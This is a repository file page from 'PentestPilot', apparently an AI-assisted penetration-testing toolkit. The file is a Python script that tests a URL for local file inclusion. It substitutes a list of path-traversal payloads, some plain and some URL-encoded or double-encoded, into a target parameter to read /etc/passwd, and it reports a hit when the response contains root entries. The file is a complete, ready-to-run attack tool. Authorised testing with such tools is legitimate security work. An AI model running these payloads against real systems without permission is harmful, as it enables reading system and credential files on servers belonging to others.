Files
PentestPilot/bin/web/lfi_tester.py
PentestPilot Bot 461c14d676 feat: bootstrap PentestPilot toolkit, docs, and orchestrators
Initial commit of PentestPilot — AI‑assisted pentest recon and orchestration toolkit.\n\nHighlights:\n- Resumeable pipelines (full_pipeline) with manifest state and elapsed timings\n- Rich dashboard (colors, severity bars, durations, compact/json modes)\n- Web helpers: httpx→nuclei auto, tech routing + quick scanners\n- Agents: multi‑task orchestrator (web/full/ad/notes/post) with resume\n- AD/SMB, password utils, shells, transfer, privesc, tunnels\n- QoL scripts: proxy toggle, cleanup, tmux init, URL extractor\n- Docs: README (Quick Start + Docs Index), HOWTO (deep guide), TOOLKIT (catalog with examples)\n\nStructure:\n- bin/automation: pipelines, dashboard, manifest, resume, tech_actions\n- bin/web: routing, scanners, helpers\n- bin/ai: orchestrators + robust AI utils\n- bin/ad, bin/passwords, bin/shells, bin/transfer, bin/privesc, bin/misc, bin/dns, bin/scan, bin/windows, bin/hashes\n- HOWTO.md and TOOLKIT.md cross‑linked with examples\n\nUse:\n- settarget <target>; agent full <domain|hosts.txt>; dashboard --compact\n- See HOWTO.md for setup, semantics, and examples.
2025-10-08 16:00:22 +02:00

39 lines
1.0 KiB
Python
Executable File

#!/usr/bin/env python3
import sys, re, requests
PAYLOADS = [
'/etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../../etc/passwd',
'..%2f..%2f..%2f..%2fetc%2fpasswd',
'....//....//....//....//etc//passwd',
'..%252f..%252f..%252f..%252fetc%252fpasswd',
]
def usage():
print(f"Usage: {sys.argv[0]} <url-with-PLACEHOLDER>")
print(" e.g. http://10.10.10.10/vuln.php?file=PLACEHOLDER")
sys.exit(1)
if len(sys.argv) < 2:
usage()
url = sys.argv[1]
if 'PLACEHOLDER' not in url:
print('[!] URL must contain PLACEHOLDER token')
sys.exit(1)
for p in PAYLOADS:
u = url.replace('PLACEHOLDER', p)
try:
r = requests.get(u, timeout=8, verify=False, allow_redirects=True)
hit = bool(re.search(r'root:.*:0:0:', r.text))
print(f"[{'+' if hit else '-'}] {p} -> {r.status_code} len={len(r.content)}")
if hit:
print(' Potential LFI! Found \'root:\' pattern.')
except Exception as e:
print(f"[!] {p} -> error: {e}")